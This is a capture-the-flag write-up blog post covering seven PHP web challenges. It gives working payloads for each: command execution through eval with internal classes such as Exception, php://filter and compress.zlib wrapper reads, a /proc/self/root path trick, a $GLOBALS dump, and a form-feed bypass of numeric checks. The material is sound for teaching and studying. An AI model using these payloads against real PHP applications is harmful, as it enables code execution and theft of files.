Exploiting PHP Type Juggling and Internal Classes in CTF Challenges

Challenge 1: Magic Methods via Internal Classes

The regex validation requires both parameters to contain alphabetic characters. The eval function executes the string as PHP code, where new $v1 instantiates a class named by the value of $v1, and ($v2()) invokes the function specified by $v2, passing its return value to the constructor.

When an object is passed to echo, PHP triggers the __toString() magic method if defined. Several built-in classes implement this method, including Exception, CachingIterator, and ReflectionClass.

By leveraging these internal classes, arbitrary code execution can be achieved:

?v1=Exception&v2=system('ls')
?v1=ReflectionClass&v2=system('cat fl36dg.txt')

This evaluates as:

eval("echo new Exception(system('cat fl36dg.txt'));");

The Exception constructor accepts the command output as a string parameter, and its __toString() method returns that string, revealing the flag.

An alternative approach uses anonymous classes:

?v1=class{public function __construct(){system('cat f*');}}&v2=undefinedFunc

The anonymous class executes system() in its constructor, and the subsequent undefined function call error does not prevent command execution.

Challenge 2: Directory Listing Without Parentheses

Parentheses are now filtered, preventing direct function calls with arguments. However, getcwd() requires no parameters and returns the current working directory path.

The FilesystemIterator class can iterate over a directory:

?v1=FilesystemIterator&v2=getcwd

This executes:

eval("echo new FilesystemIterator(getcwd());");

The iterator outputs the first file path in the current directory, allowing access to the hidden flag file.

Challenge 3: Super Globals and Variable Variables

The filter requires $v1 to contain the string "ctfshow" before calling the flag retrieval function. The code performs:

eval("$$v1 = &$$v2;");
var_dump($$v1);

Initially, setting v1=ctfshow&v2=flag returns NULL because $flag is defined in the global scope, not within the function's scope.

The solution uses $GLOBALS, a superglobal array containing all global variables:

?v1=ctfshow&v2=GLOBALS

This dumps all global variables, including the flag.

Challenge 4: Pseudo-protocol File Access

The is_file() check must be bypassed while still allowing highlight_file() to process the target. PHP pseudo-protocols serve this purpose:

?file=php://filter/resource=flag.php

Alternative encodings work as well:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

Challenge 5: Filter Bypass via Compression Wrapper

With "filter" now blocked, the compression wrapper provides an alternative:

?file=compress.zlib://flag.php

A more complex bypass involves directory traversal overflow:

?file=/proc/self/root/proc/self/root/.../var/www/html/flag.php

The path /proc/self/root is a symlink to the process root directory. Excessive nesting causes is_file() to fail while still allowing file access.

Challenge 6: Standard Filter Access

With filter restrictions removed, direct pseudo-protocol access succeeds:

?file=php://filter/resource=flag.php

Challenge 7: Numeric Validation Bypass

The challenge requires the input to not equal 36 before filtering, but equal 36 after filtering. The trim() function removes whitespace, tabs, newlines, carriage returns, null bytes, and vertical tabs, but does not remove the form feed character (\x0c or %0c).

Additionally, is_numeric() accepts leading whitespace characters:

?num=%0c36

This passes all checks:

  • is_numeric() returns true because %0c is treated as leading whitespace
  • Strict comparison $num !== '36' is true since the string contains %0c
  • trim($num) !== '36' is true because trim does not remove %0c
  • Weak comparison filter($num) == '36' is true after type conversion strips the character

PHP's weak typing comparison automatically converts strings to numbers, allowing numeric-like strings with invisible characters to pass validation checks.

Tags: PHP CTF Web Security Magic Methods Type Juggling

Posted on Fri, 03 Jul 2026 17:54:41 +0000 by wkilc